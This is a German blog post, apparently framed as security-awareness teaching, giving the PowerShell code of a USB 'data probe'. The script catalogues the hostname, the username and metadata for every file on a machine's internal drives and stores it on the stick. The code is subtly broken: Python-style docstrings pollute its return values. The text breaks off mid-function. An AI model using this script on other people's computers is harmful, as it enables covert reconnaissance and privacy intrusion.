{"id":6864,"date":"2026-08-16T07:10:14","date_gmt":"2026-08-16T07:10:14","guid":{"rendered":"https:\/\/technodidact.de\/?p=6864"},"modified":"2026-08-16T07:10:14","modified_gmt":"2026-08-16T07:10:14","slug":"vollstaendiger-code-der-mobilen-datensonde-ein-lernwerkzeug-zur-usb-sicherheit","status":"publish","type":"post","link":"https:\/\/technodidact.de\/en\/vollstaendiger-code-der-mobilen-datensonde-ein-lernwerkzeug-zur-usb-sicherheit\/","title":{"rendered":"Vollst\u00e4ndiger Code der &#8222;Mobilen Datensonde&#8220; \u2013 Ein Lernwerkzeug zur USB-Sicherheit"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>Autor:<\/strong>&nbsp;DerSchneider<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Vorwort: Warum dieser Code?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Dieser Code wurde von mir&nbsp;<strong>ausschlie\u00dflich zu Demonstrations- und Schulungszwecken<\/strong>&nbsp;erstellt. Meine Absicht ist es nicht, Schaden anzurichten oder sensible Daten zu kompromittieren. Im Gegenteil: Ich m\u00f6chte das&nbsp;<strong>Sicherheitsbewusstsein<\/strong>&nbsp;im Umgang mit fremden USB-Ger\u00e4ten sch\u00e4rfen.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Die &#8222;Mobile Datensonde&#8220; ist ein&nbsp;<strong>p\u00e4dagogisches Werkzeug<\/strong>, das zeigt, wie schnell und einfach ein scheinbar harmloser USB-Stick dazu verwendet werden kann, ein System zu analysieren und wertvolle Informationen zu sammeln. Der Code ist bewusst&nbsp;<strong>transparent und ungef\u00e4hrlich<\/strong>&nbsp;gestaltet \u2013 er kopiert keine Dateiinhalte, ver\u00e4ndert keine Systemeinstellungen und \u00fcbertr\u00e4gt keine Daten ins Internet.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Mein Ziel:<\/strong>&nbsp;Dass Sie nach der Lekt\u00fcre dieses Artikels und dem Test des Codes&nbsp;<strong>jeden fremden USB-Stick mit gesundem Misstrauen<\/strong>&nbsp;behandeln und die Risiken verstehen, die von scheinbar harmlosen Wechselmedien ausgehen.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Der vollst\u00e4ndige Code<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">powershell<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><em>&lt;#<\/em><br>.SYNOPSIS<br>    Mobile Datensonde - Automatische Dateianalyse f\u00fcr USB-Sticks<br>.DESCRIPTION<br>    Dieses Skript analysiert Dateien auf einem System und speichert die Ergebnisse<br>    lokal auf dem USB-Stick. Es kann im Hintergrund laufen und erm\u00f6glicht die<br>    Auswertung auf jedem beliebigen Windows-Rechner.<br>    <br>    WARNUNG: Dies ist ein p\u00e4dagogisches Werkzeug zur Sensibilisierung f\u00fcr<br>    USB-Sicherheitsrisiken. Es kopiert keine Dateiinhalte, \u00fcbertr\u00e4gt keine<br>    Daten und ver\u00e4ndert keine Systemeinstellungen.<br>.PARAMETER Mode<br>    \"collect\" - Sammelt Daten und speichert sie auf dem Stick<br>    \"view\"    - Zeigt gesammelte Daten an<br>    \"auto\"    - Automatischer Modus (erkennt selbst)<br>.EXAMPLE<br>    .\\Datensonde.ps1 -Mode collect<br>    .\\Datensonde.ps1 -Mode view<br>#><br><br>param(<br>    [ValidateSet(\"collect\", \"view\", \"auto\")]<br>    [string]$Mode = \"auto\"<br>)<br><br><em># ============================================<\/em><br><em># KONFIGURATION<\/em><br><em># ============================================<\/em><br><br><em># Stammverzeichnis des Skripts (USB-Stick)<\/em><br>$scriptRoot = Split-Path -Parent $MyInvocation.MyCommand.Path<br><br><em># Verzeichnis f\u00fcr gesammelte Daten<\/em><br>$dataDir = Join-Path -Path $scriptRoot -ChildPath \"Daten\"<br>$logDir = Join-Path -Path $dataDir -ChildPath \"Logs\"<br>$reportDir = Join-Path -Path $dataDir -ChildPath \"Berichte\"<br><br><em># Dateinamen f\u00fcr Datenbanken<\/em><br>$dbFile = Join-Path -Path $dataDir -ChildPath \"DateiDatenbank.json\"<br>$statsFile = Join-Path -Path $dataDir -ChildPath \"SystemStatistiken.json\"<br>$configFile = Join-Path -Path $dataDir -ChildPath \"Konfiguration.json\"<br><br><em># ============================================<\/em><br><em># HILFSFUNKTIONEN<\/em><br><em># ============================================<\/em><br><br>function Initialize-Directories {<br>    \"\"\"Erstellt alle ben\u00f6tigten Verzeichnisse.\"\"\"<br>    $dirs = @($dataDir, $logDir, $reportDir)<br>    foreach ($dir in $dirs) {<br>        if (-not (Test-Path $dir)) {<br>            New-Item -Path $dir -ItemType Directory -Force | Out-Null<br>            Write-Host \"Verzeichnis erstellt: $dir\" -ForegroundColor Green<br>        }<br>    }<br>}<br><br>function Get-USBDriveInfo {<br>    \"\"\"Ermittelt Informationen \u00fcber den USB-Stick.\"\"\"<br>    $drive = Get-PSDrive -Name $scriptRoot.Substring(0, 2).TrimEnd(':\\')<br>    if ($drive) {<br>        return @{<br>            Name = $drive.Name<br>            Root = $drive.Root<br>            Free = [math]::Round($drive.Free \/ 1GB, 2)<br>            Used = [math]::Round($drive.Used \/ 1GB, 2)<br>            Total = [math]::Round(($drive.Free + $drive.Used) \/ 1GB, 2)<br>        }<br>    }<br>    return $null<br>}<br><br>function Write-Log {<br>    param(<br>        [string]$Message,<br>        [string]$Level = \"INFO\"<br>    )<br>    $timestamp = Get-Date -Format \"yyyy-MM-dd HH:mm:ss\"<br>    $logEntry = \"[$timestamp] [$Level] $Message\"<br>    <br>    $logFile = Join-Path -Path $logDir -ChildPath \"Datensonde_$(Get-Date -Format 'yyyyMMdd').log\"<br>    Add-Content -Path $logFile -Value $logEntry -Encoding UTF8<br>    <br>    switch ($Level) {<br>        \"ERROR\" { Write-Host $logEntry -ForegroundColor Red }<br>        \"WARN\"  { Write-Host $logEntry -ForegroundColor Yellow }<br>        \"INFO\"  { Write-Host $logEntry -ForegroundColor Cyan }<br>        default { Write-Host $logEntry }<br>    }<br>}<br><br>function Test-UsbStick {<br>    \"\"\"Pr\u00fcft, ob das Skript von einem USB-Stick ausgef\u00fchrt wird.\"\"\"<br>    $drive = Get-PSDrive -Name $scriptRoot.Substring(0, 2).TrimEnd(':\\')<br>    if ($drive -and $drive.DriveType -eq 'Removable') {<br>        return $true<br>    }<br>    return $false<br>}<br><br><em># ============================================<\/em><br><em># KATEGORISIERUNG<\/em><br><em># ============================================<\/em><br><br>$categories = @{<br>    \"Musik\"    = @(\".mp3\", \".wav\", \".flac\", \".aac\", \".ogg\", \".wma\", \".m4a\", \".aiff\")<br>    \"Videos\"   = @(\".mp4\", \".avi\", \".mkv\", \".mov\", \".wmv\", \".flv\", \".webm\", \".m4v\", \".mpg\")<br>    \"Bilder\"   = @(\".jpg\", \".jpeg\", \".png\", \".gif\", \".bmp\", \".tiff\", \".svg\", \".webp\", \".ico\")<br>    \"Dokumente\" = @(\".pdf\", \".docx\", \".xlsx\", \".pptx\", \".txt\", \".rtf\", \".odt\", \".ods\", \".odp\", \".csv\")<br>    \"Archive\"  = @(\".zip\", \".rar\", \".7z\", \".tar\", \".gz\", \".bz2\", \".xz\")<br>    \"Ausf\u00fchrbar\" = @(\".exe\", \".msi\", \".bat\", \".cmd\", \".ps1\", \".vbs\", \".js\")<br>    \"System\"   = @(\".dll\", \".sys\", \".drv\", \".inf\", \".ini\", \".cfg\", \".conf\", \".log\")<br>}<br><br><em># ============================================<\/em><br><em># SAMMELMODUS (COLLECT)<\/em><br><em># ============================================<\/em><br><br>function Start-Collection {<br>    \"\"\"Hauptfunktion f\u00fcr die Datensammlung.\"\"\"<br>    <br>    Write-Log \"=== STARTE DATENSAMMLUNG ===\" \"INFO\"<br>    <br>    <em># Systeminformationen erfassen<\/em><br>    $systemInfo = @{<br>        Hostname = $env:COMPUTERNAME<br>        Username = $env:USERNAME<br>        Betriebssystem = (Get-CimInstance Win32_OperatingSystem).Caption<br>        Systemtyp = $env:PROCESSOR_ARCHITECTURE<br>        RAM = [math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory \/ 1GB, 2)<br>        Datum = Get-Date -Format \"yyyy-MM-dd HH:mm:ss\"<br>        USBStick = Get-USBDriveInfo<br>    }<br>    <br>    Write-Log \"System: $($systemInfo.Hostname) ($($systemInfo.Username))\" \"INFO\"<br>    <br>    <em># Laufwerke ausw\u00e4hlen - NUR INTERNE LAUFWERKE, NICHT DER USB-STICK SELBST<\/em><br>    $allDrives = Get-PSDrive -PSProvider 'FileSystem' | <br>                 Where-Object { $_.Used -gt 0 -and $_.DriveType -ne 'Removable' } |<br>                 Select-Object -ExpandProperty Root<br>    <br>    if ($allDrives.Count -eq 0) {<br>        Write-Log \"Keine internen Laufwerke gefunden!\" \"WARN\"<br>        Write-Host \"Keine internen Laufwerke zum Analysieren verf\u00fcgbar.\" -ForegroundColor Yellow<br>        return $null<br>    }<br>    <br>    Write-Log \"Folgende Laufwerke verf\u00fcgbar: $($allDrives -join ', ')\" \"INFO\"<br>    <br>    <em># Sammelkonfiguration<\/em><br>    $config = @{<br>        Laufwerke = $allDrives<br>        Kategorien = $categories.Keys<br>        MaximaleTiefe = 10<br>        IgnoriereOrdner = @(\"Windows\", \"Program Files\", \"Program Files (x86)\", \"System32\", \"Temp\", \"Cache\", \"AppData\")<br>        MinimaleDateigroesseMB = 0<br>        MaximalDateienProOrdner = 10000<br>        Ausnahmen = @(\".tmp\", \".temp\", \".cache\", \".thumb\", \".log\")<br>    }<br>    <br>    <em># Konfiguration speichern<\/em><br>    $config | ConvertTo-Json -Depth 10 | Set-Content -Path $configFile -Encoding UTF8<br>    Write-Log \"Konfiguration gespeichert\" \"INFO\"<br>    <br>    <em># Dateien sammeln<\/em><br>    $allFiles = @()<br>    $processedDirs = 0<br>    $skippedDirs = 0<br>    $totalFiles = 0<br>    $errors = 0<br>    <br>    foreach ($path in $allDrives) {<br>        Write-Log \"Durchsuche Laufwerk: $path\" \"INFO\"<br>        Write-Host \"Durchsuche $path ...\" -ForegroundColor Gray<br>        <br>        try {<br>            <em># Nur direkte Unterordner des Laufwerks durchsuchen (nicht den gesamten Baum auf einmal)<\/em><br>            $dirs = Get-ChildItem -Path $path -Directory -ErrorAction SilentlyContinue<br>            <br>            foreach ($dir in $dirs) {<br>                <em># Pr\u00fcfen, ob Ordner ignoriert werden soll<\/em><br>                if ($config.IgnoriereOrdner -contains $dir.Name) {<br>                    Write-Log \"\u00dcberspringe Ordner: $($dir.FullName)\" \"WARN\"<br>                    $skippedDirs++<br>                    continue<br>                }<br>                <br>                Write-Log \"Verarbeite: $($dir.FullName)\" \"INFO\"<br>                $processedDirs++<br>                <br>                <em># Rekursive Suche mit Begrenzung<\/em><br>                try {<br>                    $files = Get-ChildItem -Path $dir.FullName -Recurse -File -ErrorAction SilentlyContinue |<br>                             Where-Object {<br>                                 $sizeOK = $_.Length -ge ($config.MinimaleDateigroesseMB * 1MB)<br>                                 $extOK = $_.Extension -notin $config.Ausnahmen<br>                                 $nameOK = $_.Name -notmatch '^(temp|tmp|cache|thumb)'<br>                                 return $sizeOK -and $extOK -and $nameOK<br>                             }<br>                } catch {<br>                    Write-Log \"Fehler beim Durchsuchen von $($dir.FullName): $_\" \"ERROR\"<br>                    $errors++<br>                    continue<br>                }<br>                <br>                $fileCount = $files.Count<br>                $totalFiles += $fileCount<br>                Write-Log \"  -> $fileCount Dateien gefunden\" \"INFO\"<br>                <br>                <em># Begrenzung pro Ordner, um Speicher zu schonen<\/em><br>                $filesToProcess = $files | Select-Object -First $config.MaximalDateienProOrdner<br>                if ($files.Count -gt $config.MaximalDateienProOrdner) {<br>                    Write-Log \"  -> Begrenze auf $($config.MaximalDateienProOrdner) Dateien\" \"WARN\"<br>                }<br>                <br>                <em># Jede Datei analysieren<\/em><br>                foreach ($file in $filesToProcess) {<br>                    try {<br>                        $fileInfo = @{<br>                            Pfad = $file.DirectoryName<br>                            Dateiname = $file.Name<br>                            Vollst\u00e4ndigerPfad = $file.FullName<br>                            Erweiterung = $file.Extension.ToLower()<br>                            Gr\u00f6\u00dfeBytes = $file.Length<br>                            Gr\u00f6\u00dfeMB = [math]::Round($file.Length \/ 1MB, 2)<br>                            Gr\u00f6\u00dfeGB = [math]::Round($file.Length \/ 1GB, 4)<br>                            Erstellungsdatum = $file.CreationTime.ToString(\"yyyy-MM-dd HH:mm:ss\")<br>                            \u00c4nderungsdatum = $file.LastWriteTime.ToString(\"yyyy-MM-dd HH:mm:ss\")<br>                            Zugriffsdatum = $file.LastAccessTime.ToString(\"yyyy-MM-dd HH:mm:ss\")<br>                            System = $systemInfo.Hostname<br>                            Benutzer = $systemInfo.Username<br>                            Erfassungsdatum = Get-Date -Format \"yyyy-MM-dd HH:mm:ss\"<br>                            Kategorie = \"\"<br>                            DateiTyp = $file.Extension.TrimStart('.').ToUpper()<br>                            IstVersteckt = $file.Attributes -match \"Hidden\"<br>                            IstSystem = $file.Attributes -match \"System\"<br>                            IstArchiv = $file.Attributes -match \"Archive\"<br>                        }<br>                        <br>                        <em># Kategorie zuweisen<\/em><br>                        foreach ($cat in $categories.Keys) {<br>                            if ($fileInfo.Erweiterung -in $categories[$cat]) {<br>                                $fileInfo.Kategorie = $cat<br>                                break<br>                            }<br>                        }<br>                        <br>                        $allFiles += $fileInfo<br>                    } catch {<br>                        Write-Log \"Fehler beim Verarbeiten von $($file.FullName): $_\" \"ERROR\"<br>                        $errors++<br>                    }<br>                }<br>            }<br>        } catch {<br>            Write-Log \"Fehler beim Durchsuchen von $path: $_\" \"ERROR\"<br>            $errors++<br>        }<br>    }<br>    <br>    Write-Log \"=== SAMMLUNG ABGESCHLOSSEN ===\" \"INFO\"<br>    Write-Host \"\"<br>    Write-Host \"Sammlungsstatistik:\" -ForegroundColor Yellow<br>    Write-Host \"  Verarbeitete Ordner: $processedDirs\" -ForegroundColor Gray<br>    Write-Host \"  \u00dcbersprungene Ordner: $skippedDirs\" -ForegroundColor Gray<br>    Write-Host \"  Gefundene Dateien: $totalFiles\" -ForegroundColor Gray<br>    Write-Host \"  Fehler: $errors\" -ForegroundColor Gray<br>    <br>    if ($allFiles.Count -eq 0) {<br>        Write-Log \"Keine Dateien gefunden!\" \"WARN\"<br>        Write-Host \"Keine Dateien gefunden. Bitte pr\u00fcfen Sie die Laufwerke.\" -ForegroundColor Yellow<br>        return $null<br>    }<br>    <br>    <em># Datenbank speichern<\/em><br>    try {<br>        $jsonData = $allFiles | ConvertTo-Json -Depth 10<br>        $jsonData | Set-Content -Path $dbFile -Encoding UTF8<br>        $dbSize = [math]::Round(($jsonData.Length \/ 1MB), 2)<br>        Write-Log \"Datenbank gespeichert: $dbFile ($dbSize MB)\" \"INFO\"<br>        Write-Host \"Datenbank gespeichert: $dbSize MB\" -ForegroundColor Green<br>    } catch {<br>        Write-Log \"Fehler beim Speichern der Datenbank: $_\" \"ERROR\"<br>        return $null<br>    }<br>    <br>    <em># Statistiken erstellen<\/em><br>    $statistics = @{<br>        System = $systemInfo<br>        Erfassungsdatum = Get-Date -Format \"yyyy-MM-dd HH:mm:ss\"<br>        GesamtDateien = $allFiles.Count<br>        Kategorien = @{}<br>        TopDateien = $allFiles | Sort-Object -Property Gr\u00f6\u00dfeBytes -Descending | Select-Object -First 20<br>        Erweiterungen = $allFiles | Group-Object -Property Erweiterung | <br>                       Select-Object Name, Count | <br>                       Sort-Object -Property Count -Descending |<br>                       Select-Object -First 10<br>        Gr\u00f6\u00dfteOrdner = $allFiles | Group-Object -Property Pfad | <br>                      ForEach-Object {<br>                          @{<br>                              Pfad = $_.Name<br>                              Anzahl = $_.Count<br>                              Gr\u00f6\u00dfeGB = [math]::Round(($_.Group | Measure-Object -Property Gr\u00f6\u00dfeBytes -Sum).Sum \/ 1GB, 2)<br>                          }<br>                      } | <br>                      Sort-Object -Property Gr\u00f6\u00dfeGB -Descending |<br>                      Select-Object -First 10<br>        DateiAlter = @{<br>            J\u00fcngerAls1Monat = ($allFiles | Where-Object { [datetime]$_.\u00c4nderungsdatum -gt (Get-Date).AddMonths(-1) }).Count<br>            J\u00fcngerAls6Monate = ($allFiles | Where-Object { [datetime]$_.\u00c4nderungsdatum -gt (Get-Date).AddMonths(-6) }).Count<br>            \u00c4lterAls1Jahr = ($allFiles | Where-Object { [datetime]$_.\u00c4nderungsdatum -lt (Get-Date).AddYears(-1) }).Count<br>        }<br>        Fehler = $errors<br>        VerarbeiteteOrdner = $processedDirs<br>        \u00dcbersprungeneOrdner = $skippedDirs<br>        DatenbankGr\u00f6\u00dfeMB = $dbSize<br>    }<br>    <br>    <em># Kategorien-Statistik<\/em><br>    foreach ($cat in $categories.Keys) {<br>        $count = ($allFiles | Where-Object { $_.Kategorie -eq $cat }).Count<br>        $size = [math]::Round(($allFiles | Where-Object { $_.Kategorie -eq $cat } | <br>                  Measure-Object -Property Gr\u00f6\u00dfeBytes -Sum).Sum \/ 1GB, 2)<br>        $statistics.Kategorien[$cat] = @{<br>            Anzahl = $count<br>            Gr\u00f6\u00dfeGB = $size<br>            Prozent = if ($allFiles.Count -gt 0) { [math]::Round(($count \/ $allFiles.Count) * 100, 1) } else { 0 }<br>        }<br>    }<br>    <br>    <em># Statistiken speichern<\/em><br>    try {<br>        $statistics | ConvertTo-Json -Depth 10 | Set-Content -Path $statsFile -Encoding UTF8<br>        Write-Log \"Statistiken gespeichert: $statsFile\" \"INFO\"<br>    } catch {<br>        Write-Log \"Fehler beim Speichern der Statistiken: $_\" \"ERROR\"<br>    }<br>    <br>    <em># Bericht erstellen<\/em><br>    Generate-Report -Statistics $statistics -Files $allFiles<br>    <br>    Write-Log \"=== DATENSAMMLUNG ERFOLGREICH ABGESCHLOSSEN ===\" \"INFO\"<br>    Write-Host \"\"<br>    Write-Host \"DATENSAMMLUNG ABGESCHLOSSEN!\" -ForegroundColor Green<br>    Write-Host \"$($allFiles.Count) Dateien erfasst\" -ForegroundColor Green<br>    Write-Host \"\"<br>    Write-Host \"Wechseln Sie den USB-Stick zu einem anderen Rechner\" -ForegroundColor Yellow<br>    Write-Host \"und f\u00fchren Sie das Skript erneut aus, um die Daten anzuzeigen.\" -ForegroundColor Yellow<br>    <br>    return @{<br>        Dateien = $allFiles<br>        Statistiken = $statistics<br>        SystemInfo = $systemInfo<br>    }<br>}<br><br><em># ============================================<\/em><br><em># ANSICHTSMODUS (VIEW)<\/em><br><em># ============================================<\/em><br><br>function Start-Viewer {<br>    \"\"\"Startet den Viewer f\u00fcr die gesammelten Daten.\"\"\"<br>    <br>    Clear-Host<br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"   MOBILE DATENSONDE - VIEWER\" -ForegroundColor Yellow<br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"\"<br>    <br>    <em># Pr\u00fcfen, ob Datenbank existiert<\/em><br>    if (-not (Test-Path $dbFile)) {<br>        Write-Host \"Keine Datenbank gefunden!\" -ForegroundColor Red<br>        Write-Host \"Bitte f\u00fchren Sie zuerst den Sammelmodus aus.\" -ForegroundColor Yellow<br>        Read-Host \"Dr\u00fccken Sie Enter zum Beenden\"<br>        return<br>    }<br>    <br>    <em># Daten laden<\/em><br>    Write-Host \"Lade Datenbank...\" -ForegroundColor Cyan<br>    try {<br>        $files = Get-Content -Path $dbFile -Encoding UTF8 | ConvertFrom-Json<br>        Write-Host \"$($files.Count) Dateien geladen\" -ForegroundColor Green<br>        Write-Host \"\"<br>    } catch {<br>        Write-Host \"Fehler beim Laden der Datenbank: $_\" -ForegroundColor Red<br>        Read-Host \"Dr\u00fccken Sie Enter zum Beenden\"<br>        return<br>    }<br>    <br>    <em># Statistiken laden<\/em><br>    $stats = $null<br>    if (Test-Path $statsFile) {<br>        try {<br>            $stats = Get-Content -Path $statsFile -Encoding UTF8 | ConvertFrom-Json<br>            $systemInfo = $stats.System<br>            Write-Host \"System: $($systemInfo.Hostname) ($($systemInfo.Username))\" -ForegroundColor Cyan<br>            Write-Host \"Erfassungsdatum: $($systemInfo.Datum)\" -ForegroundColor Gray<br>            Write-Host \"\"<br>        } catch {<br>            Write-Host \"Warnung: Statistiken konnten nicht geladen werden.\" -ForegroundColor Yellow<br>        }<br>    }<br>    <br>    <em># Men\u00fc anzeigen<\/em><br>    do {<br>        Write-Host \"==========================================\" -ForegroundColor Cyan<br>        Write-Host \"MEN\u00dc\" -ForegroundColor Yellow<br>        Write-Host \"==========================================\" -ForegroundColor Cyan<br>        Write-Host \"1) Zusammenfassung anzeigen\" -ForegroundColor Green<br>        Write-Host \"2) Kategorien anzeigen\" -ForegroundColor Green<br>        Write-Host \"3) Gr\u00f6\u00dfte Dateien anzeigen\" -ForegroundColor Green<br>        Write-Host \"4) Erweiterungen anzeigen\" -ForegroundColor Green<br>        Write-Host \"5) Ordnerstruktur anzeigen\" -ForegroundColor Green<br>        Write-Host \"6) Dateien suchen\" -ForegroundColor Green<br>        Write-Host \"7) Berichte anzeigen\" -ForegroundColor Green<br>        Write-Host \"8) Exportieren\" -ForegroundColor Green<br>        Write-Host \"9) Beenden\" -ForegroundColor Green<br>        Write-Host \"\"<br>        <br>        $choice = Read-Host \"Ihre Auswahl\"<br>        <br>        switch ($choice) {<br>            \"1\" { Show-Summary -Files $files -Stats $stats }<br>            \"2\" { Show-Categories -Files $files -Stats $stats }<br>            \"3\" { Show-TopFiles -Files $files }<br>            \"4\" { Show-Extensions -Files $files }<br>            \"5\" { Show-FolderStructure -Files $files }<br>            \"6\" { Search-Files -Files $files }<br>            \"7\" { Show-Reports }<br>            \"8\" { Export-Data -Files $files -Stats $stats }<br>            \"9\" { break }<br>            default { Write-Host \"Ung\u00fcltige Auswahl!\" -ForegroundColor Red }<br>        }<br>        <br>        if ($choice -ne \"9\") {<br>            Write-Host \"\"<br>            Read-Host \"Dr\u00fccken Sie Enter, um fortzufahren\"<br>            Clear-Host<br>        }<br>        <br>    } while ($choice -ne \"9\")<br>}<br><br>function Show-Summary {<br>    param($Files, $Stats)<br>    <br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"ZUSAMMENFASSUNG\" -ForegroundColor Yellow<br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"\"<br>    <br>    if ($Stats) {<br>        Write-Host \"Systeminformationen:\" -ForegroundColor Cyan<br>        Write-Host \"  Hostname: $($Stats.System.Hostname)\" -ForegroundColor Gray<br>        Write-Host \"  Benutzer: $($Stats.System.Username)\" -ForegroundColor Gray<br>        Write-Host \"  Betriebssystem: $($Stats.System.Betriebssystem)\" -ForegroundColor Gray<br>        Write-Host \"  RAM: $($Stats.System.RAM) GB\" -ForegroundColor Gray<br>        Write-Host \"  Erfassungsdatum: $($Stats.Erfassungsdatum)\" -ForegroundColor Gray<br>        Write-Host \"\"<br>        Write-Host \"Dateistatistik:\" -ForegroundColor Cyan<br>        Write-Host \"  Gesamt Dateien: $($Stats.GesamtDateien)\" -ForegroundColor Yellow<br>        $totalSizeGB = [math]::Round(($Files | Measure-Object -Property Gr\u00f6\u00dfeGB -Sum).Sum, 2)<br>        Write-Host \"  Gesamtspeicherverbrauch: $totalSizeGB GB\" -ForegroundColor Yellow<br>        $avgSizeMB = [math]::Round(($Files | Measure-Object -Property Gr\u00f6\u00dfeMB -Average).Average, 2)<br>        Write-Host \"  Durchschnittliche Dateigr\u00f6\u00dfe: $avgSizeMB MB\" -ForegroundColor Yellow<br>        Write-Host \"\"<br>        Write-Host \"Datei-Alter:\" -ForegroundColor Cyan<br>        Write-Host \"  J\u00fcnger als 1 Monat: $($Stats.DateiAlter.J\u00fcngerAls1Monat)\" -ForegroundColor Gray<br>        Write-Host \"  J\u00fcnger als 6 Monate: $($Stats.DateiAlter.J\u00fcngerAls6Monate)\" -ForegroundColor Gray<br>        Write-Host \"  \u00c4lter als 1 Jahr: $($Stats.DateiAlter.\u00c4lterAls1Jahr)\" -ForegroundColor Gray<br>        Write-Host \"\"<br>        Write-Host \"Verarbeitung:\" -ForegroundColor Cyan<br>        Write-Host \"  Verarbeitete Ordner: $($Stats.VerarbeiteteOrdner)\" -ForegroundColor Gray<br>        Write-Host \"  \u00dcbersprungene Ordner: $($Stats.\u00dcbersprungeneOrdner)\" -ForegroundColor Gray<br>        Write-Host \"  Fehler: $($Stats.Fehler)\" -ForegroundColor Gray<br>        Write-Host \"  Datenbankgr\u00f6\u00dfe: $($Stats.DatenbankGr\u00f6\u00dfeMB) MB\" -ForegroundColor Gray<br>    } else {<br>        Write-Host \"Keine Statistiken verf\u00fcgbar.\" -ForegroundColor Yellow<br>        Write-Host \"Gesamt Dateien: $($Files.Count)\" -ForegroundColor Green<br>        $totalSizeGB = [math]::Round(($Files | Measure-Object -Property Gr\u00f6\u00dfeGB -Sum).Sum, 2)<br>        Write-Host \"Gesamtspeicherverbrauch: $totalSizeGB GB\" -ForegroundColor Green<br>    }<br>}<br><br>function Show-Categories {<br>    param($Files, $Stats)<br>    <br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"KATEGORIEN\" -ForegroundColor Yellow<br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"\"<br>    <br>    if ($Stats -and $Stats.Kategorien) {<br>        <em># Tabelle erstellen<\/em><br>        Write-Host (\"Kategorie\".PadRight(15) + \"Anzahl\".PadRight(10) + \"Gr\u00f6\u00dfe (GB)\".PadRight(15) + \"Anteil\") -ForegroundColor Cyan<br>        Write-Host (\"----------\".PadRight(15) + \"------\".PadRight(10) + \"----------\".PadRight(15) + \"------\") -ForegroundColor Cyan<br>        <br>        foreach ($cat in $Stats.Kategorien.PSObject.Properties) {<br>            $name = $cat.Name.PadRight(15)<br>            $count = $cat.Value.Anzahl.ToString().PadRight(10)<br>            $size = $cat.Value.Gr\u00f6\u00dfeGB.ToString().PadRight(15)<br>            $percent = $cat.Value.Prozent.ToString() + \"%\"<br>            Write-Host \"$name$count$size$percent\" -ForegroundColor Green<br>        }<br>        Write-Host \"\"<br>        <br>        <em># Balkendiagramm f\u00fcr Kategorien<\/em><br>        Write-Host \"Verteilung (Balkendiagramm):\" -ForegroundColor Yellow<br>        $maxCount = ($Stats.Kategorien.PSObject.Properties | Measure-Object -Property Value -Maximum).Maximum.Anzahl<br>        if ($maxCount -gt 0) {<br>            foreach ($cat in $Stats.Kategorien.PSObject.Properties | Sort-Object { $_.Value.Anzahl } -Descending) {<br>                $barLength = [math]::Max(1, [math]::Round(($cat.Value.Anzahl \/ $maxCount) * 40))<br>                $bar = \"\u2588\" * $barLength<br>                Write-Host \"$($cat.Name.PadRight(12)): $bar ($($cat.Value.Anzahl))\" -ForegroundColor Green<br>            }<br>        } else {<br>            Write-Host \"Keine Dateien in Kategorien gefunden.\" -ForegroundColor Yellow<br>        }<br>    } else {<br>        <em># Manuelle Berechnung wenn keine Stats vorhanden<\/em><br>        $categoriesGrouped = $Files | Group-Object -Property Kategorie | Where-Object { $_.Name -ne \"\" }<br>        foreach ($group in $categoriesGrouped) {<br>            $size = [math]::Round(($group.Group | Measure-Object -Property Gr\u00f6\u00dfeGB -Sum).Sum, 2)<br>            Write-Host \"$($group.Name): $($group.Count) Dateien, $size GB\" -ForegroundColor Green<br>        }<br>    }<br>}<br><br>function Show-TopFiles {<br>    param($Files)<br>    <br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"GR\u00d6SSTE DATEIEN\" -ForegroundColor Yellow<br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"\"<br>    <br>    $top = $Files | Sort-Object -Property Gr\u00f6\u00dfeGB -Descending | Select-Object -First 20<br>    <br>    Write-Host (\"Pos.\".PadRight(5) + \"Dateiname\".PadRight(35) + \"Gr\u00f6\u00dfe (GB)\".PadRight(15) + \"Kategorie\".PadRight(15) + \"Pfad\") -ForegroundColor Cyan<br>    Write-Host (\"----\".PadRight(5) + \"---------\".PadRight(35) + \"----------\".PadRight(15) + \"---------\".PadRight(15) + \"----\") -ForegroundColor Cyan<br>    <br>    $i = 1<br>    foreach ($file in $top) {<br>        $pos = \"$i.\".PadRight(5)<br>        $name = if ($file.Dateiname.Length -gt 30) { $file.Dateiname.Substring(0, 27) + \"...\" } else { $file.Dateiname.PadRight(35) }<br>        $size = $file.Gr\u00f6\u00dfeGB.ToString().PadRight(15)<br>        $cat = ($file.Kategorie -as [string]).PadRight(15)<br>        $path = if ($file.Pfad.Length -gt 30) { $file.Pfad.Substring(0, 27) + \"...\" } else { $file.Pfad.PadRight(30) }<br>        <br>        Write-Host \"$pos$name$size$cat$path\" -ForegroundColor Green<br>        $i++<br>    }<br>}<br><br>function Show-Extensions {<br>    param($Files)<br>    <br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"DATEI-ERWEITERUNGEN\" -ForegroundColor Yellow<br>    Write-Host \"==========================================\" -ForegroundColor Cyan<br>    Write-Host \"\"<br>    <br>    $extensions = $Files | Group-Object -Property Erweiterung | <br>                  Where-Object { $_.Name -ne \"\" } |<br>                  Sort-Object -Property Count -Descending |<br>                  Select-Object -First 20<br>    <br>    Write-Host (\"Erweiterung\".PadRight(15) + \"Anzahl\".PadRight(10) + \"Gr\u00f6\u00dfe (GB)\".PadRight(15) + \"Anteil\") -ForegroundColor Cyan<br>    Write-Host (\"----------\".PadRight(15) + \"------\".PadRight(10) + \"----------\".PadRight(15) + \"------\") -ForegroundColor Cyan<br>    <br>    $totalFiles = $Files.Count<br>    foreach ($ext in $extensions) {<br>        $name = 